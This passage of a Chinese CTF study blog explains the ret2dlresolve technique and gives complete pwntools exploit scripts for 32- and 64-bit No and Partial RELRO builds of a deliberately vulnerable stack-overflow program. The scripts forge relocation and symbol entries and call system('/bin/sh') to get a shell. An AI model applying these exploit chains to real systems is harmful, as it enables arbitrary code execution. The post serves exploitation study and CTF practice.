  7. 否则由于st_other描述符号的可见性,如果包含STV_PROTECTED、STV_HIDDEN和STV_INTERNAL的其中任何一种,则直接将装载地址加上st_value即得到函数的最终地址value,将其写入rel_addr即可。适用于构造linkmap的方法

  8. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表

  9. 调用这个函数: 指_dl_fixup返回resolved地址, 返回到一段trampoline汇编之中, 然后jmp到那个地址处.

利用

  • No RELRO - Link Map、GOT .dynamic可写
  • Partial RELRO - Link Map 不可写、GOT 可写, .dynamic不可写
  • Full RELRO - 全不可写

分成四种情况:

  • 32, No RELRO
  • 32, Patial RELRO
  • 64, No RELRO
  • 64, Patial RELRO

下面每一种都分成手动和工具两部分:

示例代码源码, 非常简单的栈溢出.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}

32, No RELRO

1
gcc -fno-stack-protector -m32 -z norelro -no-pie pwn5.c -o norelro_32

在这种情况下,修改 .dynamic 会简单些。因为我们只需要修改 .dynamic 节中的字符串表的地址为伪造的字符串表的地址,并且相应的位置为目标字符串基本就行了。具体思路如下

  1. 修改 .dynamic 节中字符串表的地址为伪造的地址
  2. 在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
  3. 在特定的位置读取 /bin/sh 字符串。
  4. 调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而执行 system 函数。

32, Partial RELRO

1
gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie pwn5.c -o partial_relro_32

这个时候.dynamic不可写, 于是我们需要构造整个需要的信息链条, 而: (再写一遍加深印象)

  1. dlresolve函数第二个参数表示重定位条目在.rel.plt中的偏移
  2. .rel.plt中有符号在.dynsym中的索引
  3. .dynsym有符号名称在.dynstr中的偏移
  4. 利用偏移找到符号名字符串, 然后利用名称找到其地址(解析所要做的事情), 找到后修改GOT条目, 然后调用此函数

从而得知需要一步步构造1-3所表示的链条. 下面每个stage模仿Wiki.

  1. 首先实现栈转移. 利用原本的plt机制执行write函数
  2. 在上一个基础上, 手动找到write在.rel.plt中的偏移, 压入栈当做参数, 直接调用位于plt0的dlresolve()
  3. 在上一个基础上, 在bss段伪造.rel.plt项(即Elf32_Rel), 内容和真实的write重定位项相同, 然后把参数改成.rel.plt到这一个项的偏移.
  4. 在上一个基础上, 重定位项内容info符号表偏移改成在bss段中, 顺便伪造一下符号表 和符号名称字符串.
    但是只做这些有可能导致version->hash超出内存范围. 而在动态解析符号地址的过程中,如果 version 为 NULL 的话,也会正常解析符号。与此同时, 可以知道 l_versions 的前两个元素中的 hash 值都为 0,因此如果我们使得 ndx 为 0 或者 1 时,就可以满足要求.
    由于符号地址查找使用的宏DL_FIXUP_MAKE_VALUE需要使用符号所在的linkmap加上符号偏移找到其地址, libc函数自然就需要libc中的linkmap, 所以只能进入if语句尝试绕过version->hash的访问以及version的比对.
    在本地kali2022环境下ndx正好是0, 无需担心.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.binary = elf = ELF('./partial_relro_32')
context.log_level = 'debug'
r = process('./partial_relro_32')
rop = ROP('./partial_relro_32')

offset = 112
bss_addr = elf.bss()

r.recvuntil('Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set esp = base_stage
base = bss_addr + 0x800
rop.raw(b'b'*112)
rop.read(0, base, 100)
rop.migrate(base)
r.sendline(rop.chain())

rop = ROP('./partial_relro_32')
sh = '/bin/sh'

plt = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym_addr = base + 32
align_addend = 0x10 - (fake_sym_addr - dynsym) & 0xf
fake_sym_addr += align_addend
# first arg is the offset by fake_dynstr table in rop chain
fake_write_sym = flat([0x42, 0, 0, 0x12])

rel_r_offset = elf.got['write']
dynsym_idx = int((fake_sym_addr - dynsym) / 0x10)
rel_r_info = (dynsym_idx << 8) | 0x07
fake_write_reloc = flat([rel_r_offset, rel_r_info])
rel_offset = base + 24 - rel_plt

gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
log.success("ndx_addr: %s" % hex(gnu_version_addr+dynsym_idx*2))

sh = '/bin/sh'
rop.raw(plt)
rop.raw(rel_offset)
rop.raw('bbbb') # fake ret address of write
rop.raw(1)
rop.raw(base + 80)
rop.raw(len(sh))
# base + 24
rop.raw(fake_write_reloc)
# base + 32
rop.raw(b'b'*align_addend)
rop.raw(fake_write_sym)
rop.raw(b'b' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw(b'b' * (100 - len(rop.chain())))


gdb.attach(r)
r.sendline(rop.chain())
r.interactive()
  1. 我们只需要将原先的 write 字符串修改为 system 字符串,同时修改 write 的参数为 system 的参数即可获取 shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.binary = elf = ELF('./partial_relro_32')
context.log_level = 'debug'
r = process('./partial_relro_32')
rop = ROP('./partial_relro_32')

offset = 112
bss_addr = elf.bss()

r.recvuntil('Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set esp = base_stage
base = bss_addr + 0x800
rop.raw(b'b'*112)
rop.read(0, base, 100)
rop.migrate(base)
r.sendline(rop.chain())

rop = ROP('./partial_relro_32')
sh = '/bin/sh'

plt = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym_addr = base + 32
align_addend = 0x10 - (fake_sym_addr - dynsym) & 0xf
fake_sym_addr += align_addend
st_name = fake_sym_addr + 0x10 - dynstr
# first arg is the offset by fake_dynstr table in rop chain
fake_write_sym = flat([st_name, 0, 0, 0x12])

rel_r_offset = elf.got['write']
dynsym_idx = int((fake_sym_addr - dynsym) / 0x10)
rel_r_info = (dynsym_idx << 8) | 0x07
fake_write_reloc = flat([rel_r_offset, rel_r_info])
rel_offset = base + 24 - rel_plt

gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
log.success("ndx_addr: %s" % hex(gnu_version_addr+dynsym_idx*2))

sh = '/bin/sh\x00'
rop.raw(plt)
rop.raw(rel_offset)
rop.raw('bbbb') # fake ret address of write
# rop.raw(1)
rop.raw(base + 80)
# rop.raw(len(sh))
rop.raw(b'b'*(24-len(rop.chain())))
# base + 24
rop.raw(fake_write_reloc)
# base + 32
rop.raw(b'b'*align_addend)
rop.raw(fake_write_sym)
rop.raw(b'system\x00')
rop.raw(b'b' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw(b'b' * (100 - len(rop.chain())))


# gdb.attach(r)
r.sendline(rop.chain())
r.interactive()

基于工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.binary = elf = ELF("./main_partial_relro_32")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./main_partial_relro_32")
io.recvuntil("Welcome to XDCTF2015~!\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

64, No RELRO

在这种情况下,类似于 32 位的情况直接构造即可。由于可以溢出的缓冲区太少,所以我们可以考虑进行栈迁移后,然后进行漏洞利用。

  1. 在 bss 段伪造栈。栈中的数据为
    1. 修改 .dynamic 节中字符串表的地址为伪造的地址
    2. 在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
    3. 在特定的位置读取 /bin/sh 字符串。
    4. 调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而触发执行 system 函数。
  2. 栈迁移到 bss 段。

程序中没有直接设置rdx的gadget, 所以使用了__libc_csu_init 中的一堆gadget, 借用了ret2csu.

自己写又遇到一堆问题….

  • csu_call里面把0x10写成0x16..
  • 一开始还把伪造的dynstr和sh写在第二个rop链的中间, 调试了一会儿才发现自己有多离谱.
  • 然后在system函数中的xmm指令出错, 原因是xmmword关键字要求rsp+0x4016字节对齐, 于是将base增加8字节.

MOVAPS—Move Aligned Packed Single-Precision Floating-Point Values

XMMWORD is intended to represent the same type as m128.
Variables of type __m128 are automatically aligned on 16-byte boundaries.

  • csu_call中加入rbp的设置, 原因是第一次read限制256字节, 一个csu_call加上120字节填充已经240, rop.migrate()已经不可用(过长), 只好利用csu_call结束时pop的rbp, 然后跟上一个leave_ret就可以继续利用, 如果不需要则函数中rbp为默认值0.
  • 然后又发现rbp直接填成base的值是不行的, leave指令的执行顺序是mov rsp, rbp; pop rbp, 所以rsp成功修改为rbp的值后马上加上0x8, 所以传入的rbp值应为期望rsp值减去8.
  • 多次使用read, 注意sendline附加的换行符和read的字节数长度.
  • chlibc之后没想到.dynamic的地址都会改变, 调试了半天不知道为什么解析不成功, 然后直接在_dl_fixup中的linkmap参数查出STRTAB的地址才发现不一样了.
  • 还有一个问题是csu使用的call的操作数是内存数值, 所以不能传入要执行的指令的地址, 这里是先把它存在fake_stack上, 然后计算出他的地址, 再将地址作为csu_call的参数, 可以说传入的是一个指针的地址.

exp如下, 不同编译运行环境下需要更改的是:

  • csu_front csu_end csu使用的寄存器
  • dyn_STRTAB_entry地址.
  • read_plt也就是plt中第二条指令的地址.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
bin = './norelro_64'
context.binary = elf = ELF(bin)
context.log_level = 'DEBUG'
p = process(bin)
ss=lambda x:p.send(x) #send string
sl=lambda x:p.sendline(x)
ru=lambda x:p.recvuntil(x)
rl=lambda :p.recvline()
ra=lambda :p.recv() #recv a
rn=lambda x:p.recv(x) #recv n
itt=lambda :p.interactive()
sla=lambda x,y:p.sendlineafter(x,y)

csu_front = 0x401298
csu_end = 0x4012b2
# will take place 0x38+0x38+0x8=0x78 or 120 bytes space
def csu_call(pointer, edi, rsi, rdx, rsp=0):
# rdi = edi = r12d
# rsi = r13
# rdx = r14
# rbx = 0, rbp = 1
# pop sequence: rbx rbp r12 r13 r14 r15
payload = pack(csu_end)
payload += flat([0, 1, edi, rsi, rdx, pointer, csu_front])
payload += flat([b'a'*0x10, rsp-8, b'b'*(0x38-0x10-0x8)])
return payload

dyn_STRTAB_entry = 0x3ff3e0
bss = elf.get_section_by_name('.bss').header.sh_addr
stack_size = 0x200
base = bss + stack_size + 0x8
read_got = elf.got['read']
log.success('base = 0x%x' % base)

rop = ROP(bin)
rop.raw('b'*120)
rop.raw(csu_call(read_got, 0, base, 277, rsp=base))
rop.raw(0x40118b) # leave; ret;
rop.raw('b' * (256 - len(rop.chain())))
log.success(f'migrate rop len: {len(rop.chain())}')
ss(rop.chain())

rop = ROP(bin)
rop.raw(csu_call(read_got, 0, dyn_STRTAB_entry+8, 8))
log.success('entry address: 0x%x' % dyn_STRTAB_entry)
# base+269=rop.raw(read_plt) base+261=rop.raw(sh)
rop.raw(csu_call(base + 269, base + 261, 0, 0))

dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr[:dynstr.find(b'read')+5].replace(b'read', b'system')
log.success(f'dynstr is: {dynstr}')
rop.raw(dynstr)
# log.error(str(len(rop.chain())))
sh = '/bin/sh\x00'
rop.raw(sh)
read_plt = 0x401066 # seconde instruction of read@plt
rop.raw(read_plt)
# log.error(f'len of rop: {len(rop.chain())}')

gdb.attach(p)
# sleep(0.5)
ss(rop.chain())
ss(pack(base + 240))
itt()

64, Partial RELRO

64位下各个结构体的不同在背景知识里有提到. 很明显的一个问题是64位下栈空间的使用大大增加, 好在一个page的bss段还是够用的.

  • 注意csu_call中rsp-8的原因是适配csu_call后直接栈迁移leave指令的pop rbp操作. 达到迁移后栈顶刚好是rsp的目的.
    这个操作是因为做示例的时候输入有限制. 不过还是非常的巧妙啊.
  • 还有设置aslr=True, 否则到system直接不成功. 原因暂且不深究了.

不同环境需要更改的是:

  • csu_front csu_end csu使用的寄存器
  • 居然没了.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
ss = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rl = lambda keep=True:p.recvline(keep)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
itt = lambda :p.interactive()
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
def debug(breakpoint=''):
if args.REMOTE or (not args.DBG): return
glibc_dir = '/glibs/glibc-2.31/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
gdbscript += 'directory %self/\n' % glibc_dir
#elf_base = int(os.popen('pmap {}| awk \x27{{print\x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
elf_base = 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript+'\ninit-pwndbg\nni\n')
time.sleep(1)
path_libc = './libc.so.6' if args.REMOTE else '/glibs/2.31-0ubuntu9_amd64/libc-2.31.so'
libc = ELF(path_libc)
binary = './pwn.elf64'
elf = ELF(binary)
p = process(binary, aslr=True) if not args.REMOTE else remote()
context(binary = elf ,log_level = 'debug', terminal = ['tmux', 'splitw','-hp','62'])

csu_front = 0x401660
csu_end = 0x40167A
# will take place 0x38+0x38+0x8=0x78 or 120 bytes space
def csu_call(pointer, edi=0, rsi=0, rdx=0, pivot=0, rbx=0):
# rdi = edi = r12d
# rsi = r13
# rdx = r14
# rbx = 0, rbp = 1
# pop sequence: rbx rbp r12 r13 r14 r15
payload = pack(csu_end)
payload += flat([0, 1, edi, rsi, rdx, pointer, csu_front])
if pivot != 0:
payload += flat([b'a'*0x10, pivot-8, b'b'*(0x38-0x10-0x8)])
else:
payload += flat([b'a'*0x8, rbx, b'b'*(0x38-0x10)])
return payload

bss = elf.get_section_by_name('.bss').header.sh_addr
rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
plt = elf.get_section_by_name('.plt').header.sh_addr

stack_size = 0x400 + 0x18*110
base = bss + stack_size
read_got = elf.got['read']
lg('base', base)

rop = ROP(binary)
rop.raw('b'*0x38)
rop.raw(csu_call(read_got, 0, base, 0x1000, rsp=base))
rop.raw(rop.leave.address)
lg('migrate rop len', len(rop.chain()))
ss(rop.chain())

binsh_addr = base + 72 + 8
binsh = '/bin/sh\x00'
rel_idx = (base + 48 - rel_plt) // 0x18
rop = ROP(binary)
rop.raw(rop.ret.address) #为了xmmword的栈对齐
rop.raw(rop.rdi.address)
rop.raw(binsh_addr)
rop.raw(plt)

rop.raw(rel_idx)
rop.raw(0) # system_ret_addr
# rop.raw(b'b'*8) #留个位置, 万一不需要对齐呢
# len is 48

fake_rel_addr = base + 48
# log.success(hex(fake_rel_addr))
# fake_rel_addr += 0x18 - (fake_rel_addr - rel_plt) % 0x18 # add 0x8 bytes
# log.success(hex(fake_rel_addr))
fake_sym_addr = base + 96
# fake_sym_addr += 0x18 - (fake_sym_addr - dynsym) % 0x18
# log.error(str(fake_rel_addr-rel_plt)+' '+str(fake_sym_addr-dynsym))
# log.error(str(fake_sym_addr-base)) # 96

r_offset = elf.got['read']
read_sym_idx = (fake_sym_addr - dynsym) // 0x18 +1
r_info = (read_sym_idx << 32) | 0x7
fake_read_rel = flat([r_offset, r_info, 0]) # last is addend
rop.raw(fake_read_rel) # len is 72
# log.error(str(len(rop.chain())))
rop.raw(b'b'*8)
rop.raw(binsh)
rop.raw('system\x00')
rop.raw('c'*(96+8-len(rop.chain())))

st_name = (base + 72 + 16) - dynstr
fake_read_sym = p32(st_name) + p16(0x12) + p16(0) + p64(0) + p64(0)
rop.raw(fake_read_sym)
# log.error(str(len(rop.chain()))) # 120
lg('final rop len', len(rop.chain()))

#debug(0x15555553710b)
ss(rop.chain())
itt()

利用补充

补充个使用fake_link_map的题目: NKCTF23 only_read

四种攻击方法总结 : 最重要的就是fake link map.

也不是很复杂. linkmap的东西在背景知识有提到.

QEMU逃逸

经验汇总

  • 被deque卡住. 看了STL之后熟悉了很多. 下次遇到set mutiset hashmap又得卡. 算了到时候再说.
  • 以后可以先看看.init_array段中出现的构造函数, 看看有没有用的全局变量提示. 就如这里的unkn_string_arr.
  • 动静态相结合可以更快的看出代码的意图. 就比如最重要执行的代码区域的样子, 前面229字节然后一堆call指令, 直接观察call什么地址.
  • 发现一条路径能够通过修改指针指向的位置, 那就去想能否改变指针从而达到任意写?
  • 多注意malloc和free函数, delMaind分析就写几个字怎么能反应得到呢.
  • 常见漏洞:
    • 整数溢出, 有符号的比较
    • heap利用. 就很多了. 多注意malloc和free
    • kernel主要还是逻辑漏洞.